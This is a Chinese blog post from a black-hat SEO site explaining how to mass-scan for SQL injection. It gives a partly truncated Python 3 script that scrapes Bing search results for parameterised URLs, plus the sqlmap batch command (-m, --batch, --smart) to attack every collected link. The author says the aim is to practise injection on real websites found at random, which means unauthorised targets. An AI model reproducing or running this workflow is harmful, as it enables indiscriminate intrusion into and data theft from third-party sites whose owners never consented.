黑帽SEO
免费发布泛目录 蜘蛛池 黑帽SEO工具

批量注入的方法-python3和sqlmap

  注入一直都是用sqlmap 导致本来就不怎么精通的手工注入现在就忘的一干二净

  想实战练习 却一时又找不到有注入的网站 于是便有了这篇文章

  想找个批量获取域名链接的工具 但都是只是获取域名而已 都没获取后面的参数

  于是自己写了个

  只获取bing前10页的结果 输入q 结束循环 并开始整理数据

  #!/usr/bin/env python # -*- conding:utf-8 -*- import re import urllib.request,urllib.parse logo=”’ _______ ___ ___ _ |__ __| / _ / / _ / | | | | | | | | | | | | | | ___ | | | | | | | | | | | | / __| | | | |_| | | |_| | | | /__ // |_| /___/ /___/ |_| |___/ ”’ print(logo) def Obtain_url(): #爬抓bing获取url page=[”, ‘&first=11&FORM=PERE’, ‘&first=21&FORM=PERE1’, ‘&first=31&FORM=PERE2’, ‘&first=41&FORM=PERE3’, ‘&first=51&FORM=PERE4’, ‘&first=61&FORM=PERE5’, ‘&first=71&FORM=PERE6’, ‘&first=81&FORM=PERE7’, ‘&first=91&FORM=PERE8’] headers={ ‘User-Agent’: r’Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ‘ r’Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3’, ‘Referer’: r’http://www.baidu.com’, ‘Connection’: ‘keep-alive’ } while True: #一直循环输入关键字 crux=input(‘请输入关键字:’) if crux==’q’: #判断关键字是否为q 是就结束循环 break crux=urllib.parse.quote(crux) #解决编码报错问题 with open(‘url.txt’, ‘a’, encoding=’utf-8′) as f: for i in page: content=urllib.request.Request(‘https://cn.bing.com/search?q=’+crux+i,headers=headers) contents=urllib.request.urlopen(content).read().decode(‘utf-8′) res=re.compile(r’

  批量找注入 python3+sqlmap结合

  输入q

  结束循环并开始处理数据

  批量找注入 python3+sqlmap结合

  批量找注入 python3+sqlmap结合

  url.txt 是爬抓的链接数据

  new_url.txt 是处理后的数据

  复制 new_url.txt 到sqlmap根目录

  批量找注入 python3+sqlmap结合

  sqlmap.py -m new_url.txt –batch –smart

  -m是用new_url.txt里面的链接批量注入 –batch自动选择 –smart快速注入

  批量找注入 python3+sqlmap结合

  注入的结果在C:/Users/Administrator/.sqlmap/output 文件下

  类似results-04242018_0624pm.csv的文件中

  批量找注入 python3+sqlmap结合

未经允许不得转载:黑帽SEO-实战SEO技术培训、泛目录站群、蜘蛛池、流量技术教程 » 批量注入的方法-python3和sqlmap
分享到: 更多 (0)

黑帽SEO-实战SEO技术培训、泛目录站群、蜘蛛池、流量技术教程

不做韭菜坚决不做韭菜